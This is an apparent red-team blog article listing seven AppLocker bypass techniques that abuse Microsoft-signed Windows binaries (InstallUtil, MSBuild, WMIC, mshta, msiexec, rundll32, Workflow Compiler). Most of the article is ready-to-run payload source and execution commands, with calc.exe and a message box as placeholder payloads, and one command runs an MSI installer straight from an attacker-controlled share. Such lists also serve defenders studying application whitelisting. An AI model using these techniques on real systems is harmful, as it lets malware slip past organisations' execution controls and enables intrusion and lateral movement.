Evading Windows Security: A List of AppLocker Bypass Techniques with LOLBAS
RedTeam LOLBas AppLocker Bypass WMIC Evasion Windows Security Defense Evasion Malware Development
π Introduction
In the previous article, we demonstrated how to bypass AppLocker using PowerShell and in-memory .NET assembly loading. That example showed how a single trusted binary can be leveraged to execute payloads without touching disk.
This follow-up expands on that concept by listing several AppLocker bypass techniques using LOLBAS (Living Off the Land Binaries and Scripts). These are legitimate Microsoft-signed binaries that are often allowed by default and can be abused to execute arbitrary code. So this article wβll be less detailed and more practical.
π― Learning Objectives
- Configure AppLocker in a lab environment
- Explore practical bypass techniques using LOLBAS
β LOLBAS
LOLBAS (Living Off the Land Binaries and Scripts) are legitimate executables, scripts, or libraries that are built into Windows and signed by Microsoft. Because they are trusted and required for normal system operations, they are often whitelisted by security controls like AppLocker. Attackers and red teamers can abuse these binaries to execute arbitrary code, download payloads, or bypass application whitelisting. The list of LOLBAS can be found here: LOLBAS Project. https://lolbas-project.github.io/
π οΈ Configuring AppLocker
To reproduce bypass scenarios in a lab:
- Run
secpol.mscβ Application Control Policies β AppLocker - Create rules for
.exe,.dll,.ps1 - Set mode to Enforce or Audit Only
βοΈ AppLocker Bypass Techniques with LOLBAS
This a list of well known bypass techniques
π§Ή 1. InstallUtil.exe β Execute DLLs Without Main()
InstallUtil can execute installer classes embedded in a DLL, bypassing the need for a traditional Main() method.
Payload Code:
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Configuration.Install;
[RunInstaller(true)]
public class Payload : Installer {
public override void Uninstall(System.Collections.IDictionary savedState) {
Process.Start("calc.exe");
}
}
Execution:
csc.exe /target:library /out:payload.dll Payload.cs
InstallUtil.exe /logfile= /ShowCallStack payload.dll
- β Bypasses AppLocker if InstallUtil is allowed
- π Common in environments with .NET tools installed
π οΈ 2. msbuild.exe β Compile and Run Inline C# from XML
MSBuild can compile and execute inline C# code embedded in a project file using CodeTaskFactory.
Payload XML:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<CodeTaskFactory AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" TaskName="Code">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class Code : Task {
public override bool Execute() {
System.Diagnostics.Process.Start("calc.exe");
return true;
}
}
]]>
</Code>
</Task>
</CodeTaskFactory>
</Target>
</Project>
Execution:
msbuild.exe payload.csproj
- β Bypasses AppLocker if MSBuild is allowed
- π Often overlooked in developer workstations
β οΈ 3. wmic.exe β WMI-Based Process Execution
WMIC can spawn processes using WMI calls, often trusted in legacy environments.
Execution:
wmic process call create "cmd.exe /c calc.exe"
- β Bypasses AppLocker if WMIC is allowed
- π Deprecated in newer Windows versions but still present
πΌοΈ 4. mshta.exe β Execute VBScript or JavaScript
MSHTA can run embedded scripts via HTML or direct command-line input.
Execution:
mshta.exe "vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"calc.exe\"\":close\")"
- β Bypasses AppLocker if MSHTA is allowed
- π Common in phishing and initial access payloads
π¦ 5. msiexec.exe β Run Malicious MSI Installers
MSI files can contain embedded scripts or binaries. msiexec.exe can execute them silently.
Execution:
msiexec.exe /quiet /i \\attacker\share\payload.msi
- β Bypasses AppLocker if MSI execution is allowed
- π Useful for lateral movement and persistence
𧬠6. rundll32.exe β Execute Exported DLL Functions
rundll32.exe can invoke exported functions from DLLs, including custom payloads.
Execution:
rundll32 testdll.dll,run
DLL Code Example:
#include "stdafx.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
return TRUE;
}
extern "C" __declspec(dllexport) void run() {
MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}
- β Bypasses AppLocker if DLL path is trusted
- π Can be combined with DLL sideloading techniques
π§ͺ 7. Microsoft.Workflow.Compiler.exe β Workflow Abuse
This binary can compile and execute workflow activities from a text file.
C# Payload in text.txt:
using System;
using System.Workflow.ComponentModel;
public class Run : Activity {
public Run() {
Console.WriteLine("I executed!");
}
}
PowerShell Loader:
$workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
$workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe)
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll'
$compilerparam = New-Object Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$compilerparam.GenerateInMemory = $True
$pathvar = "text.txt"
$output = "C:\Tools\run.xml"
$tmp = $SerializeInputToWrapper.Invoke($null, @($compilerparam, [String[]] @(,$pathvar)))
Move-Item $tmp $output
Execution:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe run.xml results.xml
- β Bypasses AppLocker if Workflow Compiler is allowed
- π Rarely monitored binary with powerful capabilities
Conclusion
AppLocker is a powerful security feature, but as shown, it can be bypassed through the abuse of trusted Microsoft-signed binaries β the soβcalled LOLBAS. these tools can all be leveraged to execute arbitrary code while remaining under the radar of traditional application whitelisting.
Stay tuned for the next article.
All the examples can be found on my github repos : https://github.com/R3dLevy/TheOffensiveDevelopmentProject
π References
-
Ultimate AppLocker Bypass List β GitHub
A comprehensive repository documenting verified and unverified AppLocker bypass techniques, including DLL execution, PowerShell abuse, and LOLBas strategies. -
CybersecTools β AppLocker Bypass Techniques
Categorized methods for bypassing AppLocker, including PowerShell modules and legacy binary abuse. -
Living Off The Land Binaries,Script and Libraries
The official list of LOLBAS.